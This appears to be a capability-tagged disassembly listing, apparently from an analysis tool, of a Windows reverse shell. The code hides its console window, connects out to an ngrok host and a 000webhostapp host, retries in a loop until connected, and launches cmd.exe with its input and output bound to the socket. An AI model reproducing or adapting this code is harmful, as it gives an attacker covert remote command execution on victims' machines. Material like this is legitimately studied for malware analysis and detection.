Function at 0x1400b7620
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Connect udp socket
Create process on windows
Create tcp socket
Create udp socket
Execute command
Hide graphical window
Initialize winsock library
Receive data
Receive data on socket

Disassembly:
push rbp
push r13
push r12
push rdi
push rsi
push rbx
sub rsp, 0x78
lea rbp, [rsp + 0x70]
mov dword [rbp + 0x40], ecx
mov qword [rbp + 0x48], rdx
call fcn.14000fd50
mov rax, rsp
mov rbx, rax
mov dword [0x1400bc040], 0x10
mov rax, qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
call rax
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.USER32.dll_ShowWindow]
call rax
mov rax, qword [rbp + 0x48]
mov rax, qword [rax]
mov rdx, rax
lea rax, [0x1400b9240]
mov rcx, rax
call fcn.1400a3fa0
mov eax, dword [0x1400bc040]
mov edx, eax
sub rdx, 1
mov qword [rbp - 8], rdx
mov edx, eax
mov r12, rdx
mov r13d, 0
mov edx, eax
mov rsi, rdx
mov edi, 0
mov eax, eax
add rax, 0xf
shr rax, 4
shl rax, 4
call fcn.140010d00
sub rsp, rax
lea rax, [rsp + 0x50]
add rax, 0
mov qword [rbp - 0x10], rax
call fcn.14001b080
lea rax, str.0.tcp.ap.ngrok.io
mov rcx, rax
call fcn.14001b8c0
mov qword [rbp - 0x18], rax
lea rax, str.remotehostsmiley.000webhostapp.com
mov rcx, rax
call fcn.14001ba40
mov word [rbp - 0x1a], ax
lea rax, [0x1400bc060]
mov rdx, rax
mov ecx, 0x202
mov rax, qword [sym.imp.WS2_32.dll_WSAStartup]
call rax
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 6
mov edx, 1
mov ecx, 2
mov rax, qword [sym.imp.WS2_32.dll_WSASocketA]
call rax
mov qword [0x1400bc050], rax
mov word [0x1400bbf80], 2
movzx eax, word [rbp - 0x1a]
movzx eax, ax
mov ecx, eax
mov rax, qword [sym.imp.WS2_32.dll_htons]
call rax
mov word [0x1400bbf82], ax
mov rax, qword [rbp - 0x18]
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_inet_addr]
call rax
mov dword [0x1400bbf84], eax
mov rax, qword [0x1400bc050]
mov qword [rsp + 0x30], 0
mov qword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0x10
lea rdx, [0x1400bbf80]
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_WSAConnect]
call rax
mov r8d, 0x68
mov edx, 0
lea rax, [0x1400bbfc0]
mov rcx, rax
call sub.msvcrt.dll_memset
mov dword [0x1400bbfc0], 0x68
mov dword [0x1400bbffc], 0x100
mov rax, qword [0x1400bc050]
mov qword [0x1400bc020], rax
mov rax, qword [0x1400bc020]
mov qword [0x1400bc018], rax
mov rax, qword [0x1400bc018]
mov qword [0x1400bc010], rax
mov eax, dword [0x1400bc040]
mov ecx, eax
mov rax, qword [0x1400bc050]
mov rdx, qword [rbp - 0x10]
mov r9d, 0
mov r8d, ecx
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_recv]
call rax
test eax, eax
setg al
test al, al
je 0x1400b7861
lea rax, str.___Connected__n
mov rdx, rax
mov rax, qword [0x1400c30c0]
mov rcx, rax
call fcn.1400b42b0
jmp 0x1400b79e1
lea rax, str.0.tcp.ap.ngrok.io
mov rcx, rax
call fcn.14001b8c0
mov qword [rbp - 0x18], rax
lea rax, str.remotehostsmiley.000webhostapp.com
mov rcx, rax
call fcn.14001ba40
mov word [rbp - 0x1a], ax
lea rax, [0x1400bc060]
mov rdx, rax
mov ecx, 0x202
mov rax, qword [sym.imp.WS2_32.dll_WSAStartup]
call rax
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 6
mov edx, 1
mov ecx, 2
mov rax, qword [sym.imp.WS2_32.dll_WSASocketA]
call rax
mov qword [0x1400bc050], rax
mov word [0x1400bbf80], 2
movzx eax, word [rbp - 0x1a]
movzx eax, ax
mov ecx, eax
mov rax, qword [sym.imp.WS2_32.dll_htons]
call rax
mov word [0x1400bbf82], ax
mov rax, qword [rbp - 0x18]
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_inet_addr]
call rax
mov dword [0x1400bbf84], eax
mov rax, qword [0x1400bc050]
mov qword [rsp + 0x30], 0
mov qword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0x10
lea rdx, [0x1400bbf80]
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_WSAConnect]
call rax
mov r8d, 0x68
mov edx, 0
lea rax, [0x1400bbfc0]
mov rcx, rax
call sub.msvcrt.dll_memset
mov dword [0x1400bbfc0], 0x68
mov dword [0x1400bbffc], 0x100
mov rax, qword [0x1400bc050]
mov qword [0x1400bc020], rax
mov rax, qword [0x1400bc020]
mov qword [0x1400bc018], rax
mov rax, qword [0x1400bc018]
mov qword [0x1400bc010], rax
lea rax, [0x1400bd04b]
mov rcx, rax
call sub.msvcrt.dll_system
lea rax, str.___Waiting_connection_n
mov rdx, rax
mov rax, qword [0x1400c30c0]
mov rcx, rax
call fcn.1400b42b0
mov ecx, 0x3e8
mov rax, qword [sym.imp.KERNEL32.dll_Sleep]
call rax
jmp 0x1400b7812
lea rax, [0x1400bbf90]
mov qword [rsp + 0x48], rax
lea rax, [0x1400bbfc0]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x8000000
mov dword [rsp + 0x20], 1
mov r9d, 0
mov r8d, 0
lea rax, str.C:windows_system32cmd.exe
mov rdx, rax
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_CreateProcessA]
call rax
mov eax, 0
mov rsp, rbx
lea rsp, [rbp + 8]
pop rbx
pop rsi
pop rdi
pop r12
pop r13
pop rbp
ret